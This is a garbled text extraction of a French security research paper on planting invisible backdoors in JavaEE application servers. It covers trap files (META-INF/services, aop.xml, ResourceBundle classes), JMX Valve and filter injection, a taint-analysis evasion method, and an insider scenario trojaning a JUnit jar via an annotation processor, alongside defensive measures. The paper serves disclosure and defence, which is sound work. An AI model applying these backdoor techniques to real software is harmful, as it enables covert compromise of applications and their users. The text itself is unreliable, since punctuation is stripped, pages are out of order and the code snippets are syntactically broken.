Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 387
flux de traitement et ainsi capturer toutes les requetes HTTP A toutes ces questionsnous allons proposer des reponses et des solutions
Cette etude nrsquoa pas vocation a etre exhaustive sur les techniques drsquoattaques Elleen presente certaines tres efficaces et souvent innovantes
Une librairie de demonstrations inedites est proposee permettant de qualifier laprotection des applications contre des portes derobees generiques
Cette etude a produit trois alertes de securite la realisation de deux patchs pourles JDKs et trois outils drsquoanalyse et de durcissement du code Nous terminerons parla presentation des solutions actives et passives pour contrer ce type de menaces
Deux videos de demonstrations sont proposees La premiere est une simpledemonstration de la puissance de la porte derobee la seconde explique ensuitecomment se proteger contre ce type de menaces Elles sont disponibles ainsi que lesoutils ici httpmacarongooglecodecom
Cette etude se limite a Tomcat 6x avec un JDK 16010 et OpenJDK 1600-b12sous Windows et Linux Les vulnerabilites sont certainement efficaces avec drsquoautresserveurs drsquoapplications mais cela nrsquoa pas ete verifie
Cote client la porte derobee proposee a ete testee sur ndash Google Chrome 1015443 Windowsndash Firefox 305 Windows et Linuxndash Internet Explorer 70573013 Windowsndash Opera 963 Windows et Linuxndash Safari 321 Windows
1 Lrsquoobjectif du pirate
Du point de vue du pirate une porte derobee doit ndash resister a un audit du code de lrsquoapplication Sinon chaque developpeur qui
participe au projet peut fortuitement la decouvrir ndash resister aux evolutions futures du code Il ne doit pas y avoir de dependance
directe avec le code existant Une evolution de lrsquoapplication ne doit pas faireechec a la porte derobee
ndash contourner le pare-feu reseau et le pare-feu applicatif (Web Application Firewall ndashWAF) La communication avec la porte derobee doit etre invisible ou difficilementdiscernable drsquoun flux legitime
ndash contourner les outils drsquoanalyse de vulnerabilite dans le byte-code par propaga-tion de teinture sur les variables
De ce cahier des charges nous avons recherche differentes techniques pour atteindretous les objectifs que nous nous sommes fixes
388 Porte derobee dans les serveurs drsquoapplications JavaEE
Pour resister a un audit le code de la porte derobee ne doit pas etre presentdans les sources Lrsquoapplication ne doit pas lrsquoinvoquer directement Ainsi la porteest generalement exclue des audits Pour cela il faut que la simple presence drsquounearchive consideree a tord comme saine suffise a declencher lrsquoattaque
Pour ne pas dependre de lrsquoevolution du code applicatif le code doit utiliser desattaques generiques fonctionnant quelque soit lrsquoapplication
Pour contourner les pare-feu le code doit simuler une navigation drsquoun utilisateurIl doit respecter toutes les contraintes sur les URLs les champs presents dans lesrequetes le format de chaque champ etc Il ne peut pas ajouter de nouvelles URLsou de nouveaux champs
Pour contourner les outils drsquoanalyses de byte-code1 a la recherche de variablesnon saine lors de lrsquoinvocation de traitements risques il faut utiliser une ecriture decode specifique cassant la propagation de la teinture sur les variables
La methode ci-dessous casse la propagation des teintures sur les variables simple-ment en changeant le type de la donnee
private static String sanitize(String s)
char[] buf=new char[slength ()]
Systemarraycopy(stoCharArray () 0 buf 0 slength ())
return new String(buf)
2 Implementation
Le code de la porte derobee doit suivre plusieurs etapes pour srsquoinstaller definitivementdans le serveur drsquoapplication et etre capable de detourner le flux des traitements Cesetapes sont detaillees ci-dessous par ordre chronologique
ndash Piege de lrsquoapplicationndash Augmentation des privilegesndash Injection dans le flux de traitement des requetes HTTPndash Detection de lrsquoouverturendash Communication discretendash Execution des agents
21 Les pieges
La premiere etape consiste a initialiser la porte derobee Elle doit pouvoir demarreralors que le code applicatif ignore sa presence Pour cela il faut utiliser des piegespour permettre une execution de code par la simple presence drsquoune archive JAR
1 httpsuifstanfordedu~livshitspaperspdfthesispdf
P Prados 389
Les pieges sont des traitements caches executes a lrsquoinsu de lrsquoapplication Le codeapplicatif ou le serveur drsquoapplication nrsquoa pas a invoquer explicitement du code pourpermettre lrsquoexecution de traitements malveillants
Differentes techniques de pieges ont ete decouvertes lors de lrsquoetude Plusieursstrategies sont possibles pour les realiser
ndash Surcharge drsquoune classe ndash Ajout drsquoun fichier de parametrage ndash Exploitation des laquo services raquo ndash Exploitation de la programmation par aspects (AOP) ndash Exploitation drsquoun laquo Ressource Bundle raquo ndash Exploitation des annotations
22 Piege par laquo surcharge raquo
La surcharge drsquoune classe consiste a proposer plusieurs versions differentes de lameme classe dans des archives differentes En redefinissant une classe banale drsquounearchive le code du pirate sera execute a lrsquoinsu de lrsquoapplication
Java utilise un mecanisme de chargement dynamique des classes Une listedrsquoarchives (JARs) est consultee lors de la demande de chargement drsquoune classeLrsquoalgorithme installe le fichier class venant de la premiere archive etant capable delivrer le fichier de la classe Si lrsquoarchive ayant la classe modifiee est presente avantlrsquoarchive originale le pirate peut executer du code complementaire
Fig 1 Enchaınement de classes
Cette approche presente plusieurs inconvenients ndash Le code de la porte derobee est fortement dependant du code original ndash Il est difficile de deleguer les traitements sur lrsquooriginal Il faut alors recrire
lrsquooriginal pour simuler un comportement normal ndash La modification de lrsquooriginal peut entraıner le plantage de lrsquoapplication car la
copie nrsquoen tient pas compte
390 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM
Cette approche est donc rejetee
23 Piege par laquo parametrage raquo
De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code
Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)
ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt
ndash Ressource ltparamwsddgt
La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet
Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer
Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API
Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite
Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes
1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-
Factory
2 httpjavasuncomj2se13docsguidejarjarhtml
P Prados 391
2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory
3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory
4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl
La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence
Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory
ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory
ndash META-INFservicesorgapacheaxisEngineConfigurationFactory
ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple
pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant
public static class MonSAXParserFactory
extends SAXParserFactory
private final SAXParserFactory next_
Calc next parser
private static SAXParserFactory getNextSAXParser ()
return
public SAXParserFactory ()
next_=protectctrSAXParser ()
Inject code here
public Schema getSchema ()
return next_getSchema ()
La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory
permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch
q=META-INF+providers
392 Porte derobee dans les serveurs drsquoapplications JavaEE
En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee
Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins
Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet
Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant
ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN
httpwwweclipseorgaspectjdtdaspectjdtdgt
ltaspectj gt
ltweaver gt
ltinclude within= Servlet gt
ltinclude within=jsp gt
ltweaver gt
ltaspects gt
ltaspect
name=comgooglecodemacaronMyAspect gt
ltaspects gt
ltaspectj gt
Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs
ResourceBundlegetBundle(Messages)get(hello)
Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements
P Prados 393
Fig 2 Lecture de properties
du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee
Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties
Fig 3 Lecture de properties avec classes
Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur
public static class Messages
extends PropertyResourceBundle
public Messages () throws IOException
super(MessagesclassgetResourceAsStream(
rsquorsquo+MessagesclassgetName ()
replace(rsquorsquorsquorsquo)+properties))
Inject code here
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
